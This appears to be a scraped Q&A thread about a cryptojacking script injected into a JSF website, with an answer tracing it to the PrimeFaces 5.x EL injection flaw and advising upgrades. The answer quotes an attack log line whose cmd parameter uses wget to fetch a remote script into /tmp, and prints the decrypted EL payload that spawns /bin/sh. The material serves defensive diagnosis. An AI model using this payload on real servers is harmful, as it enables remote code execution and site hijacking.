Now I know this is not a security or malware removal website. However I feel that this is a JSF specific question,
I have noticed that my website is being attacked constantly by injecting a JavaScript file into the web page.
The malware is loading a script file from some random URL that has the following pattern: https://johndi33.*****.***:7777/deepMiner.js
.
The malware is removed upon redeployment of the app, however after some hours the attack is reinitiated and the script is injected.
Upon some research about this specific cryptojacking malware I found hundreds or thousands of infected websites with the same malware, and I also noticed that all infected websites are JSF based.
I wonder if there is any awareness about this, or any JSF misconfigurations that would lead to RCE that easily.
PS - Environment:
Ubuntu 16.04
Wildfly 10.1
Java 8
There are no remote code execution vulrenabilities in JSF (Mojarra). See also its CVE summary which lists only a XSS bug in the prehistoric pre-1.2_08 versions.
Only in PrimeFaces 5.x there was an EL injection hole in the resource handler behind the StreamedContent
, the /dynamiccontent.properties
. This EL injection hole allowed the attacker to execute code on the server machine. See also its CVE summary which lists exactly this vulrenability. Your question history confirms that you're using PrimeFaces.
This is already fixed in February 2016 as per PrimeFaces issue 1152 and the fix is available since PrimeFaces 5.2.21 / 5.3.8 / 6.0. In other words, just continuously keep your software up to date.
That said, this could also easily have been nailed down by analyzing server access logs. Below is an example log entry whereby this vulrenability is been exploited. Note particularly the extraordinary long pfdrid
request parameter and the cmd
request parameter in a /dynamiccontent.properties
request:
GET /javax.faces.resource/dynamiccontent.properties.xhtml?pfdrt=sc&ln=primefaces&pfdrid=4ib88tY5cy3INAZZsdtHPFU0Qzf8xqfq7ScCVr132r36qawXCNDixKdRFB0XZvCTU9npUitDjk1QTkIeQJA4yEY72QT3qDGJpZjuqCDIWniQcr2vJZR%2B005iFZzJ%2Fi7VR9Mx5l5cedTgq9wS03rem26ubch9%2Bq4W6msPwJ1hk0KMefG9yZl3o5nYeA5gvnp9LQJb3r%2BM1yQ00zFBDzT4i9Nsx%2Fs5eaGsq9BFptosdH06iT1k7rn%2BrQtPjyIbOQzOmnMx%2F6THLsOCppRaIG7BW4VRbsIi1gJ8cRh6%2Bad71ukPWbDdM6S6O0Qcr%2FdkssHfL5%2F7y8Xy%2FcyDiiljeZj3dIibq3CSy6RBaZGzRXqjYAyV%2FJ7n3ulIkSVKszrCy3VyWb1uCY0fKLrPd3EO%2Flsw3k%2FbYSofV9MA%2BAaTnD8PXYhmiYGvp9b2R1BQGb8WgFk0fyTITJFZfUTJhM%2BiRJruw9ALDox8MY9S0SnpbmXM3LQmVYSghH0j4Zgi7Te7SZZK6gqgZEkrTA%2BQgAaZRIFG6R810xr5PZoWWG0Fdf9x491vRYtUSet8xCHIofPZ7fS5uP3mi2btGxWy8TgAEyC2wT%2F19mudycgOdTXW9nMt5nOf62fOdKSBYs2jStSwe2a6I6N5Bzp0Z7sdiJ0gmrHiYoJlkyT7p0wWGEk5Q4Xe1EPWIwGZIOr43j6BE7HUP5%2F7KdejsAQzNZZr1ox99VhH1TYwRuH7A7%2BN%2FWheWQCn%2FEM0xlpXC4GssZp4xPVah%2BP9wNH054upTkx4jH8j4houh2UfrjM9Vn18J%2BC1inTqHliDnzu9LFrm5L88eHCnLNDf6cyNmIaom7o2hEoNcffVMJ%2FhWkW7XwVkNS2b0%2B%2B1ZgQXCd7QE0dpIujuJ79keSD1cUyGdgKCVx70vtcbAcfa07Yt3DBPzeIP%2FLQjU6%2F%2BEwTS3oy4gttmMReFb7Bmn0uOUsmGZ%2FKkJNyWwN3wlsEfNFJzLx8%2FtCWjroQVWR0xS0ZudruYXAFmmi9O5iPYjyyQCH8JUrzR4N9vyWffKq1THVtN21EvX7x87Xl908kTe79uh6J61ICVo0PABqIl87m1n7te3d3pZ72PCXetr7GcaElzna95Nfoix9pwJ6GWAjRTcGNPT67lMx7cYKXmTD0mQAzXvlgWi2yEzFt9NA0NFhhZ4m6UeRZ7%2Bgs1Rr0HMpPu%2FNIvaCjTyZRdqRyxrDQ%2FF2QCTxpVEWKYWEEV2t6g%2BQ2m3Xo%2ByyWgeDbY8mHmwkdYUKO3QtwYxXtXTKT9dwCRtE1wDsYjLN0wMdSrg4YX3jCYlt7kV%2FymlnhNoSnVQoDJeumsGI1%2BdmKu2AJY8sGqXo2PJd10CxpQSO6D4F7RxA8fQji8shFybjhRek0YiEXxmvnhsBzCkBCXWguA7RXsMGLrerXVD1wHo5Jf7wQmLOyKUH7nne9ezwzVdQnaqadFehgZ6a6f5d%2FfxIRUZ1tKeLPST16CBlY0%2BPsRQDJJwWrRXdpuwon4PzHQXLD%2BAhQ%2F8j9Mb0OTM8RdZLuRjXw7tcY4muQDwMRCb92ipMiorDO8jVwPPOAXc5waNbSGmRhzOW1%2BLsQpV8OEMKVMDXq5dRoYKz6tlH0Zh4eZTHED3hK8z4cukSTXuxFpdC5NjiVsyhQU71J87Tvkzw1HxbjqhJK%2BkoPySJCmpHOmrrsbNlp0kHtNHuhY&cmd=wget%20http://XXX.XXX.XXX.XXX/CONTACT/test.py%20-O%20/tmp/test.py%20--no-check-certificate HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0"
The pfdrid
request parameter normally represents the encrypted value of an EL expression which references a bean property returning the StreamedContent
, such as #{bean.image}
. However, due to the weak encryption vulrenability (open source 8-byte salt), the attacker can easily supply any arbitrary encrypted string and successfully get it decrypted and finally EL-evaluated.
When the PrimeFaces 5.x StreamedContentHandler
decrypts the above supplied pfdrid
example, then the resulting string before EL-evaluation is as below (newlines added for readability):
${session.setAttribute("arr","".getClass().forName("java.util.ArrayList").newInstance())}
${session.setAttribute("scriptfactory", session.getClass().getClassLoader().getParent()
.newInstance(session.getAttribute("arr").toArray(session.getClass().getClassLoader().getParent().getURLs()))
.loadClass("javax.script.ScriptEngineManager").newInstance())}
${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}
${facesContext.getExternalContext().setResponseHeader("resp1", session.getAttribute("scriptengine"))}
${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}
${session.getAttribute("scriptengine").eval("
var proc = new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"/bin/sh\\",\\"-c\\",\\"".concat(request.getParameter("cmd")).concat("\\"]).start();
var is = proc.getInputStream();
var sc = new java.util.Scanner(is,\\"UTF-8\\");
var out = \\"\\";
while (sc.hasNext()) {
out += sc.nextLine()+String.fromCharCode(10);
}
print(out);
"))}
${facesContext.getExternalContext().getResponse().getWriter().flush()}
${facesContext.getExternalContext().getResponse().getWriter().close()}
${facesContext.getExternalContext().setResponseHeader("stillok", "yes")}
In effects, it creates the JavaScript engine and then evaluates a piece of code which basically runs the /bin/sh
process with the command as supplied in the cmd
request parameter which is in this case wget%20http://XXX.XXX.XXX.XXX/CONTACT/test.py%20-O%20/tmp/test.py%20--no-check-certificate
, and pipes its output to the response. The target site in turn checks if the stillok=yes
response header is present and will then continue spawning other /dynamiccontent.properties
requests which in turn uses other shell commands to traverse the folder structure, obtain information about it, find the template files and ultimately edit them to inject the cryptocurrency mining script.
If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With